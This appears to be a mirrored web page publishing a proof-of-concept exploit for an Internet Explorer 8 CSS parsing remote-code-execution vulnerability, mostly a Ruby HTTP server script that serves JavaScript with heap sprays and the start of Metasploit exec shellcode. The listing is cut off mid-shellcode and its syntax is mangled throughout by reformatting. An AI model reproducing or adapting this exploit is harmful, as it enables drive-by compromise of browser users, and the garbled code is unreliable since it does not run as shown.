Internet Explorer 8 CSS Parsing Vulnerability

Source: Internet
Author: User

Internet Explorer 8 is a Web browser launched by Microsoft. The vulnerability in parsing css may cause remote code execution. This vulnerability was initially made by wooyun: logging. For more information about the vulnerability analysis and exploitation code, see http://www.breakingpointsystems.com/community/blog/ie-vulnerability/. in this document, the attacker can view: When A DoS Isnt A DoS.

[+] Info:
~~~~~~~~~
Internet Explorer 8 CSS Parser Exploit

[+] Poc:
~~~~~~~~~

View sourceprint? 001 #! /Usr/bin/env ruby

002

003 # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/

004 # Author: Nephi Johnson (d0c_s4vage)

005

006 require socket

007

008 def http_send (sock, data, opts = {})

009 defaults = {: code => "200",: message => "OK",: type => "text/html "}

010 opts = defaults. merge (opts)

011

012 code = opts [: code]

013 message = opts [: message]

014 type = opts [: type]

015

016 to_send = "HTTP/1.1 # {code }#{ message}" +

017 "Date: Sat, 11 Dec 2010 14:20:23 GMT" +

018 "Cache-Control: no-cache" +

019 "Content-Type: # {type}" +

020 "Pragma: no-cache" +

021 "Content-Length: # {data. length}" +

022 "# {data }"

023 puts "[+] Sending :"

024 to_send.split (""). each do | line |

025 puts "# {line }"

026 end

027 sock. write (to_send) rescue return false

028 return true

029 end

030

031 def sock_read (sock, out_str, timeout = 5)

032 begin

033 if Kernel. select ([sock], [], [], timeout)

034 out_str.replace (sock. recv (1024 ))

035 puts "[+] Received :"

036 out_str.split (""). each do | line |

037 puts "# {line }"

038 end

039 else

040 sock. close

041 return false

042 end

043 rescue Exception => ex

044 return false

045 end

046 end

047

048 def to_uni (str)

049 res = ""

050 str. each_byte do | B |

051 res <"x00 # {B. chr }"

052 end

053 res

054 end

055

056 @ css_name = "x00sx03sx00sx03sx00sx03sx00sx00sx03s"

057 @ html_name = "test.html"

058 placeholder = "a" * (@ css_name.length/2)

059

060 @ html = <-HTML

061 <script>

062 function dup_str (str, length ){

063 var res = str;

064 while (res. length <length ){

065 res + = res;

066}

067 res = res. substr (res. length-length );

068 return res;

069}

070

071 function to_bin (str ){

072 var res = "";

073 while (str. length> 0 ){

074 var first = str. substr (0, 2 );

075 var second = str. substr (2, 2 );

076 res + = "% u" + second + first;

077 str = (str. length> 4 )? Str. substr (4 ):"";

078}

079 return unescape (res );

080}

081

082 // first heap spray

083 var base = dup_str (to_bin ("0c0c0c090000000800000073007300000000000000730073030c"), 512 + 6 );

084 var arr = []

085 for (var I = 0; I <60000; I ++ ){

086 arr [I] = ["" + base]. join ("");

087}

088

089 // second heap spray w/shellcode

090 var nops = dup_str (to_bin ("0c0c0c0c"), 4096 + 6 );

091

092 // windows/exec-200 bytes

093 // asploit.com "> http://www.metasploit.com

094 // EXITFUNC = process, commandid calc.exe

095 var shellcode = unescape ("% ue8fc % u0089 % u0000 % u8960 % u31e5 % u64d2 % u528b % u8b30" +

096

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.